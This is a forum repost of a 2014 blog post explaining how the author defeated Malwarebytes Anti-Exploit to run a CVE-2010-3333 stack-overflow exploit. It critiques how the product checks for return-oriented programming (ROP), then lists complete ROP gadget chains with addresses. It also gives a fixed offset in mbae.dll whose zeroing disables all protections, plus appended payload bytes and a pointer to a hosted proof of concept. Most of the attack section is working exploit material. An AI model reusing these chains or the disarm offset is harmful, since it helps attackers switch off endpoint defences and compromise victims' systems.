Nytro Posted December 30, 2014 Report Posted December 30, 2014 [h=3]MBAE (Malware Bytes Anti Exploit) Disarm[/h] Not very long ago, security industry shifted from malwares to exploits.Though malware industry still dominates the market due to its sophistication and reach, exploits are nothing but the new sexy. Just like in old days antivirus were starting up, exploit detection systems are increasing nowadays and malware enthusiasts are shifting towards this trend. Exploits can get you more money, much much more than what malware authors get by selling their creations. Not to mention the fame that goes with exploit development (automatically being a whitehat, if you disclosed a 0day responsibly or not) is also more in quantity and won't feel embarrassing to tell others as compared to a malware author. While malware authors are always considered blackhats, exploit authors are born whitehats even though they do shady business. =)Market trend gave away the two most used exploit detection free toolkits1. EMET2. MBAEAnd despite the false positives and fake alerts, they both pack quite a punch.After searching a while i found an article from offensive security which claimed to bypass EMET successfully. Though the method they used was out of the box, EMET doesn't get updated that regularly so its fine i guess.EMET disarming By OffSecTLDR: The logic behind this attack was a global switch which can be used to protect & unprotect applications. If you alter it, all protections go kaputt. In this blogpost i will be covering something similar to bypass all of MBAE's checks. [h=3]Epilogue[/h] for the sake of reader i have already hosted the POC of mbae bypass at my Github AccPOC: GithubNote: i have modified a POC i got from a public forum, and simply added Rop Gadgets.[h=3]Prologue[/h] Kafeine had done quite a piece on malware bytes making them seem like a very different company offering a unique product.malware.dontneedcoffee[h=3]Story[/h] So i got my hands on MBAE. Pretty nice UI ima.Unlike most exploit authors, instead of working on a public heap corruption exploit i tried to execute my favourite and oldest exploit.The very first i ever laid my hands on, CVE-2010-3333.With html based exploits we have few advantages:1. we can use DOM to check for presence of specific dll's (for detection of EMET or MBAE)2. If we leverage information leak vuln, we can build a rop chain with static offsets from inside dll memory in runtime.3. we can place strings on heap and address it, by relying on deterministic nature of heap.Thus planting strings in ROP gets easy (as done by offsec in their disarming EMET article)But in StackOverflows, only thing we have is EIP and 1 looooong ROP chain.However good for us, CVE-2010-3333 works on Windows XP-7 without ROP. On windows 8, DEP is enforced so it crashes. Nevertheless we will circumvent all that later.so i searched google for some public exploit POC, and i found one at a random forum.moment i executed that sample, MBAE caught it. Upon investigation i found out that MBAE was enforcing DEP in all processes it protected. Thus from XP-7 we cannot execute this exploit without ROP. So i went ahead and asked mona to generate a Rop Chain for VirtualProtect.Appending rop gadgets 0x78833e3c, # POP EAX # RETN0x788011c0, # ptr to VirtualProtect()0x788b53d1, # MOV EAX,DWORD PTR DS:[EAX] # RETN0x788e4a48, # XCHG EAX,ESI # RETN0x78832a79, # POP EBX # RETN0x00000201, # 0x00000201-> ebx0x7880a254, # POP EDX # RETN0x00000040, # 0x00000040-> edx0x78854775, # POP EBP # RETN0x788b7b2b, # jmp esp0x7889363e, # POP ECX # RETN0x78922ad5, # &Writable location msxml5.dll0x788fad49, # POP EDI # RETN0x788880d4, # RETN (ROP NOP)0x78833e3c, # POP EAX # RETN0x90909090, # nop0x788172ee, # PUSHAD # RETN The final exploit should work in Enforced DEP. However i was greeted by following upon detonation. Time to open the box VirtualProtect Seems Hooked Nothing useful inside first routine Interesting stuff VirtualProtect seems protected by CallPrecedenceCheck from RopGuard RopGuard_RopCheck - Ivan Fratric Moving on after checking is performed forward jump Actual Routine PrologueThe automated systems i have seen by now perform nested hook filtering, meaning if they caught Kernelbase!VirtualProtect() they will skip Kernelbase!VirtualProtectEx() & Ntdll!ZwProtectVirtualMemory(). So it seems MBAE has only 1 protection which detects if return address was preceded by a call instruction. Lets see whats inside that protection then we can try to circumvent it. I was surprised to see this code, judging by the look it seems the developers of this tool quite 'literally' copied the code from RopGuard. When i say quite literally i do mean literally, because apparently they dont know what this code does.Allow me to give an insightreturn address - 3 is compared to 0xE8 (opcode for 16bit call instruction)if its equal then return a value which corresponds to legitimate reply.return address - 5 is compared to 0xE8 (opcode for 32bit call instruction)if its equal then return a value which corresponds to legitimate reply.When the developers blindly copied this code they perhaps didn't knew that1. if ROP gadget which jumps into hooked api has either -5th or -3rd byte 0xE8, the check is failing2. all a person has to do is search for this pattern in binary [?E8][XX][?E8][XX][XX][C3] to bypass the check3. exploit author can simply VirtualProtect and return into stack at a nop sled which can be preceded by 0xE8 since we very well control stack to defeat this check easily4. This mistake is repeated with return address -7 being compared to 0x9A (opcode for FAR CALL) and return address - 5 being compared to 0x9A again. (opcode for FAR call but with 16bit address)Blunder:Leaving aside the mistakes it has, the code is meant to be written for 32bit binaries.But apparently developers never bothered to check1. If return address - 3 == 0xE8 && return address - 4 == 0x66 (prefix for 16bit call in 32bit address space) these two checks should be performed side by side for accuracy, but right now the check isif return address - 3 ==0xE8 || return addresss - 5 ==0xE8.2. DWORD*(return address - 4) + return address - 5 should be equal to VirtualProtect, Apparently developers of this tool checked if there is a call instruction before return address but didn't check if that call is leading to hooked API or not. () (>_<)3. If you do call a 16bit address from a 32bit address space you can only call upto 0xFFFF, if detection was concerned, no legitimate or illegitimate code can ever call an API within 0xFFFF because dll's are mapped at higher addresses closer to 0x7fffffff, Thus this check is nearly useless for detection as its useful for potential candidates looking to find flaws in this method.4. I am pretty sure the author of RopGuard meant to simply include 16bit and 32bit Rop check in 1 package but he meant to use them one at a time depending on application architecture. But who cares.So it seems blind cope paste is not only done by engineering students, but by 'professional' developers also.VirtualProtect Returns into stack preceded by handcrafted dummy 0xE8 bytes thus bypassing ROP detection from call precedence check.While i crafted this chain by just altering 2 bytes off an already existing rop chain, i thought it would bypass MBAE completely. But it failed yet again. So i dug deeper. VirtualProtectEx is also hooked inside hook It seems that unlike usual methods of hooking 1 API and leaving its nested ones by using a global variable or a TLS entry for IPC, MBAE infact hooks all nested API's of VirtualProtectand performs different checks on either levels. Thus there are more checks, and that is why i wasn't able to bypass MBAE when using previous ROP chain with 2 modified bytes. VirtualProtectEx checking if lpAddress param of VirtualProtect is inside stack Checks inside ZwProtectVirtualMemory 1. StackPivot Check 2.RopGuardCallPrecedenceCheck 3.Checking if stack is being made executableUp until now, for VirtualProtect API there are only 3 protections which detect ROP.There are more protections to check if api call is from shellcode, but i dont think detecting that is necessary because once you get opcode execution these petty checks can be circumvented by n number of measures.one example being: changing PEB entry of loaded module to [x] and copying any PE header to shellcode -0x1000 address ([x])which can be done in nearly 25 bytes using handcrafted optimized shellcode.[h=3]One Byte Issue[/h] To defeat all these protections, i followed offsec's approach. There was a global switch, a fixed offset which decided the fate of MBAE's protections. in previous images you might see a reoccurring instruction.cmp dword ptr ds:[<Magic_Offset>],0je <mbae.LegitimateCall>This magic offset is actually a dword but it has only 2 possible values.0 or 1if its 0 all protections are disabled and this check will jump over detection mechanisms.if its 1 all protections are enabled and all checks will be performed with full functionality.(another way to bypass MBAE's shellcode checks)As of now December 10th 2014, this offset is 0x47C08. protection check Highlighted Now since we have a stack overflow, we cannot craft any data dynamically. So we have to perform a makeshift ROP chain which will somehow find mbae.dll's base address and then add offset to its value. Then moving null into that address. Then we can use our ROP chain used before.After 20 minutes of mind boggling i came up with following rop chain 0x78833e3c, # POP EAX # RETN 0x78801108, # GetModuleHandle Address from IAT0x78830e9a, # MOV EAX,[EAX] # RETN0x788543e9, # XCHG EAX,EDX # RETN0x7882ab5d, # PUSH ESP # POP ESI # RETN0x788e4a48, # XCHG EAX,ESI # RETN0x788079f0, # POP EBP # RETN0x0000008c, # offset from esp pointing towards mbae.dll0x788d0ba7, # ADD EAX,EBP # RETN # eax points to mbae.dll0x7889363e, # POP ECX # RETN0x7889363f, # RETN 0x788fad49, # POP EDI # RETN0x7889363f, # RETN0x7880126c, # POP ESI # RETN0x7888e209, # ADD ESP,0xC0x788172ee, # PUSHAD # RETN #EAX gets base address of mbae.dll0x788079f0, # POP EBP # RETNmagic_offset,0x788d0ba7, # ADD EAX,EBP # RETN # eax points to magic offset0x7880A254, # POP EDX, RETN0x00000000, # NULL0x78907a82, # MOV [EAX],EDX # RETN0x78833e3c, # POP EAX # RETN0x788011c0, # ptr to VirtualProtect()0x788b53d1, # MOV EAX,DWORD PTR DS:[EAX] # RETN0x788e4a48, # XCHG EAX,ESI # RETN0x78832a79, # POP EBX # RETN0x00000201, # 0x00000201-> ebx0x7880a254, # POP EDX # RETN0x00000040, # 0x00000040-> edx0x78854775, # POP EBP # RETN0x788b7b2b, # jmp esp0x7889363e, # POP ECX # RETN0x78922ad5, # &Writable location msxml5.dll0x788fad49, # POP EDI # RETN0x788880d4, # RETN (ROP NOP)0x78833e3c, # POP EAX # RETN0x90909090, # nop0x788172ee, # PUSHAD # RETNdata appended:9090eb09 6d6261652e646c6c00 (mbae.dll string) 909090909090909090909090909090909090 (nop sled)Since we had a stack overflow at our disposal, i had to embedd mbae.dll string in between nop sled, so ROP gadgets can take its address by reading esp. Had this been a Heap corruption vulnerability or a UAF, it would have been much more easy.Nevertheless i managed to bypass MBAE in nearly 40 gadgets, which means not much stack space is wasted. This offset can be utilized in browser exploits in a better way, exploits have the power to detect if they are running under malware bytes or emet's protection by reading system dll's. Up until now they just exit if they are running under such an environment, But it seems they dont need to.All an author has to do is simply change the gadgets as per exploit's requirement.This gadget chain can be reproduced very easily for any other kind of exploit, since the gadgets i used are not at all complicated and can be found in any dll with a very good probability.Afterwards this revelation, the exploit was fairly straightforward. After disabling MBAE, ROP gadgets trying to mark stack as RWX Et' Voila Posted by r41p41 at 12:06 Sursa: Scrutiny from an Inquisitive mind: MBAE (Malware Bytes Anti Exploit) Disarm Quote